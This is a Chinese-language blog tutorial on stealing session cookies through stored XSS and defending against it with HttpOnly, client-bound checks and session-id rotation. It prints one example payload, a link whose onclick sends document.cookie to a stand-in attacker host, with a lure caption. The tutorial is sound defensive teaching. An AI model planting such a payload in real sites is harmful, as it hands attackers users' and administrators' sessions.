你必須知道的cookie攻防技術!!!

原文:http://www.ibloger.net/article/1904.html

前言:

  對朋友的一個項目進行code review, 發現問題還真不少. 有些web項目功能雖然五臟俱全, 但對網絡安全的意識以及相關的技術沉澱, 幾乎可以說沒. 這也是很多小作坊式的項目的一類通病.

  今天我們來談談簡單的xss攻擊, 以及Cookie劫持的攻與防.
這裏寫圖片描述

案列:

  聽聞之前通過CCTV電話訪問周鴻禕時, 分析其按鍵聲音從而獲取紅衣教主的電話號碼的那個傳奇大俠.

這裏寫圖片描述

 其後續的一個得意之作, 便是通過給大學的一個助教發了份釣魚郵件, 成功獲取了助教的cookie信息, 最終登陸系統, 提前獲取了成績信息.

  那它是怎麼實現的呢.

  1. Cookie是什麼?
  2. 竊取的原理是什麼?
  3. 系統如何防Cookie劫持呢?

  看完這三個回答, 你就明白哪位傳奇大俠是如何成功的!!!

HTTP天然是無狀態的協議, 爲了維持和跟蹤用戶的狀態, 引入了Cookie和Session.
  
- Cookie包含了瀏覽器客戶端的用戶憑證, 相對較小.
- Session則維護在服務器, 用於維護相對較大的用戶信息.

這裏寫圖片描述

 用通俗的語言, Cookie是鑰匙, Session是鎖芯.

  Cookie簡單理解就是鑰匙, 每次去服務端獲取資源, 需要帶着這把鑰匙, 只有自己的鎖芯(資源), 才能打開.

  如果你丟掉了鑰匙, 那沒辦法, 只能配一把鑰匙和鎖芯.

  但是如果鑰匙被別人拿了, 那別人就可以冒充你的身份, 去打開你的鎖芯, 從而獲取你的信息, 甚至挪用你的資金. 這是非常危險的.

XSS攻擊:

  XSS(Cross Site Scripting)是跨站點腳本攻擊的縮寫. 其就是利用站點開放的文本編輯併發布的功能, 從而造成攻擊.

  其實說的簡單一點, 就是輸入javascript腳本, 竊取並投遞cookie信息到自己的站點.

  比如攻擊者以一個普通用戶登錄進來,然後在輸入框中提交以下數據:

<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 這裏有美女在洗澡</a>

攻擊者提交了條帶<a>標籤的數據,該條數據保存於服務器端,而管理員登入時,不小心點擊這個鏈接時,則會把自身的cookie信息, 投遞給hacker設定的網址.

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

有了該session-id,攻擊者在會話有效期內即可獲得管理員的權限,並且由於攻擊數據已添加入數據庫,只要攻擊數據未被刪除,那麼攻擊還有可能生效,是持久性的。

Cookie劫持的防:

  基於XSS攻擊, 竊取Cookie信息, 並冒充他人身份.

  服務端如何防呢?

  第一種辦法是:

  給Cookie添加HttpOnly屬性, 這種屬性設置後, 只能在http請求中傳遞, 在腳本中, document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防禦值. 但是對網絡攔截, 還是泄露了.

  第二種辦法:

  在cookie中添加校驗信息, 這個校驗信息和當前用戶外置環境有些關係,比如ip,user agent等有關. 這樣當cookie被人劫持了, 並冒用, 但是在服務器端校驗的時候, 發現校驗值發生了變化, 因此要求重新登錄, 這樣也是種很好的思路, 去規避cookie劫持.

  第三種辦法:

  cookie中session id的定時更換, 讓session id按一定頻率變換, 同時對用戶而言, 該操作是透明的, 這樣保證了服務體驗的一致性.

  後記:

  對XSS的攻與防, 有很多思路和解決方案. 該文章也是簡單談談對Cookie劫持的攻與防的一些思路.

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章